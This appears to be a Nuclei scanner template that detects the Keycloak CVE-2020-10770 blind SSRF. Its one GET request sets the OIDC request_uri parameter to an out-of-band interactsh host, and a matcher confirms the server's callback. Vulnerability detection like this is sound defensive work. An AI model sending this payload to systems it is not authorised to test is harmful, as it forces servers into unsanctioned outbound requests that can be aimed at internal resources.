id: CVE-2020-10770

info:
  name: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
  author: dhiyaneshDk
  severity: medium
  description: Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
  reference:
    - https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
    - https://www.exploit-db.com/exploits/50405
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10770
    - https://bugzilla.redhat.com/show_bug.cgi?id=1846270
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-10770
    cwe-id: CWE-918
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
    epss-score: 0.36659
  tags: keycloak,ssrf,oast,cve,cve2020,blind,packetstorm,edb
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"